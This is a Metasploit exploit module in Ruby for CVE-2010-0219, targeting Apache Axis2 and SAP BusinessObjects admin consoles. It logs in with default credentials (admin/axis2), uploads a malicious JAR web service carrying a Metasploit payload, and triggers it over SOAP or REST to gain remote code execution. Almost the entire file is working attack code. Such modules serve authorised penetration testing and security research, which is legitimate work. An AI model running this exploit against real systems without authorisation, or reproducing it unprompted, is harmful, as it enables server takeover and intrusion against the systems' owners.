##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'Axis2 / SAP BusinessObjects Authenticated Code Execution (via SOAP)',
			'Description'     => %q{
				This module logs in to an Axis2 Web Admin Module instance using a specific user/pass
				and uploads and executes commands via deploying a malicious web service by using SOAP.
			},
			'References'      =>
				[
					# General
					[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
					[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
					[ 'CVE', '2010-0219' ],
					[ 'OSVDB', '68662' ]
				],
			'Platform'        => [ 'java', 'win', 'linux' ], # others?
			'Targets'         =>
				[
					[ 'Java', {
								'Arch' => ARCH_JAVA,
								'Platform' => 'java'
							},
					],
					#
					# Platform specific targets only
					#
					[ 'Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'win'
						},
					],
					[ 'Linux X86',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						},
					],
				],
			'DefaultTarget'   => 0,
			'DisclosureDate'  => 'Dec 30 2010',
			'Author'          =>
				[
					'Joshua Abraham <jabra[at]rapid7.com>', # original module
					'Chris John Riley' # modifications
				],
			'License'         => MSF_LICENSE
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
				OptString.new('PATH', [ true,  "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
			], self.class)
		register_autofilter_ports([ 8080 ])
	end

	def upload_exec(session,rpath)
		contents=''
		name = Rex::Text.rand_text_alpha(8)
		services_xml = %Q{
<service name="#{name}" scope="application">
	<description>
		#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
	</description>
	<messageReceivers>
		<messageReceiver
			mep="http://www.w3.org/2004/08/wsdl/in-only"
			class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
		<messageReceiver
			mep="http://www.w3.org/2004/08/wsdl/in-out"
			class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
	</messageReceivers>
	<parameter name="ServiceClass">
		metasploit.PayloadServlet
	</parameter>
</service>
}
		if target.name =~ /Java/
			zip = payload.encoded_jar
			zip.add_file("META-INF/services.xml", services_xml)

			# We need this class as a wrapper to run in a thread.  For some reason
			# the Payload class is giving illegal access exceptions without it.
			path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
			fd = File.open(path, "rb")
			servlet = fd.read(fd.stat.size)
			fd.close
			zip.add_file("metasploit/PayloadServlet.class", servlet)

			contents = zip.pack
		end

		boundary = rand_text_alphanumeric(6)

		data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
		data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
		data << contents
		data << "\r\n--#{boundary}--"

		res = send_request_raw({
			'uri'     => "#{rpath}/axis2-admin/upload",
			'method'  => 'POST',
			'data'    => data,
			'headers' =>
				{
					'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
					'Content-Length' => data.length,
					'Cookie' => "JSESSIONID=#{session}",
				}
		}, 25)

		if (res and res.code == 200)
			print_status("Successfully uploaded")
		else
			print_error("Error uploading #{res}")
			return
		end
=begin
	res = send_request_raw({
		'uri'	 => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
		'method'	 => 'GET',
		'headers' =>
		{
			'Cookie' => "JSESSIONID=#{session}",
			}
		}, 25)
	puts res.body
	puts res.code
	if res.code > 200 and res.code < 300
		if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
			dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
			puts dir
		else
			if ( a.scan(/catalina\.home<\/th><td style=".*">(.*)&nbsp;<\/td>/i) )
				dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
				puts dir
			end
		end
	end
=end

		print_status("Polling to see if the service is ready")

		res_rest = send_request_raw({
			'uri'	  => "#{rpath}/services",
			'method'	 => 'GET',
		}, 25)

		soapenv='http://schemas.xmlsoap.org/soap/envelope/'
		xmlns='http://session.dsws.businessobjects.com/2007/06/01'
		xsi='http://www.w3.org/2001/XMLSchema-instance'

		data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
		data << '<soapenv:Envelope xmlns:soapenv="' +	 soapenv + '"  xmlns:ns="' + xmlns + '">' + "\r\n"
		data << '<soapenv:Header/>' + "\r\n"
		data << '<soapenv:Body>' + "\r\n"
		data << '<soapenv:run/>' + "\r\n"
		data << '</soapenv:Body>' + "\r\n"
		data << '</soapenv:Envelope>' + "\r\n\r\n"

		begin
			p = /Please enable REST/
			catch :stop do
				1.upto 5 do
					Rex::ThreadSafe.sleep(3)

					if (res_rest and res_rest.code == 200 and res_rest.body.match(p) != nil)
						# Try to execute the payload
						res = send_request_raw({
							'uri'	  => "#{rpath}/services/#{name}",
							'method'  => 'POST',
							'data'	  => data,
							'headers' =>
								{
									'Content-Length' => data.length,
									'SOAPAction'     => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
									'Content-Type'   => 'text/xml; charset=UTF-8',
								}
						}, 15)
					else
						## rest
						res = send_request_raw({
							'uri'     => "#{rpath}/services/#{name}/run",
							'method'  => 'GET',
							'headers' =>
							{
								'cookie' => "jsessionid=#{session}",
							}
						}, 25)

						if not (res.code > 200 and res.code < 300)
							## rest alternative path (use altres as a 200 is returned regardless)
							altres = send_request_raw({
								'uri'	  => "#{rpath}/rest/#{name}/run",
								'method'  => 'GET',
								'headers' =>
								{
									'cookie' => "jsessionid=#{session}",
								}
							}, 25)
						end
					end

					if res and res.code > 200 and res.code < 300
						cleanup_instructions(rpath, name) # display cleanup info
						throw :stop # exit loop
					elsif res and res.code == 401
						if (res.headers['WWW-Authenticate'])
							authmsg = res.headers['WWW-Authenticate']
						end
						print_error("The remote server responded expecting authentication")
						if authmsg
							print_error("WWW-Authenticate: %s" % authmsg)
						end
						cleanup_instructions(rpath, name) # display cleanup info
						raise ::Rex::ConnectionError
						throw :stop # exit loop
					end
				end
			end
		rescue ::Rex::ConnectionError
			print_error("http://#{rhost}:#{rport}#{rpath}/(rest|services) Unable to authenticate (#{res.code} #{res.message})")
		end
	end

	def cleanup_instructions(rpath, name)
		print_line("")
		print_status("NOTE: You will need to delete the web service that was uploaded.")
		print_line("")
		print_status("Using meterpreter:")
		print_status("rm \"webapps#{rpath}/WEB-INF/services/#{name}.jar\"")
		print_line("")
		print_status("Using the shell:")
		print_status("cd  \"webapps#{rpath}/WEB-INF/services\"")
		print_status("del #{name}.jar")
		print_line("")
	end

	def exploit
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		rpath = normalize_uri(datastore['PATH'])

		success = false
		srvhdr = '?'
		begin
			res = send_request_cgi(
				{
					'method' => 'POST',
					'uri'    => normalize_uri(rpath, '/axis2-admin/login'),
					'ctype'  => 'application/x-www-form-urlencoded',
					'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
				}, 25)

				if not (res.kind_of? Rex::Proto::Http::Response)
					print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
				end

				if res.code == 404
					print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
				end

				srvhdr = res.headers['Server']
				if res.code == 200
					# Could go with res.headers["Server"] =~ /Apache-Coyote/i
					# as well but that seems like an element someone's more
					# likely to change

					success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
					if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
						session = $1
					end
				end

		rescue ::Rex::ConnectionError
			print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
		end


		if not success and not rpath =~ /dswsbobje/
			rpath = '/dswsbobje'
			begin
				res = send_request_cgi(
					{
						'method' => 'POST',
						'uri'    => normalize_uri(rpath, '/axis2-admin/login'),
						'ctype'  => 'application/x-www-form-urlencoded',
						'data'   => "userName=#{user}&password=#{pass}&submit=+Login+",
					}, 25)

				if not (res.kind_of? Rex::Proto::Http::Response)
					print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin not responding")
				end

				if res.code == 404
					print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin returned code 404")
				end

				srvhdr = res.headers['Server']
				if res.code == 200
					# Could go with res.headers["Server"] =~ /Apache-Coyote/i
					# as well but that seems like an element someone's more
					# likely to change

					success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
					if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
						session = $1
					end
				end

			rescue ::Rex::ConnectionError
				print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin Unable to attempt authentication")
			end
		end

		if success
			print_good("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
			upload_exec(session,rpath)
		else
			print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
		end
	end

end
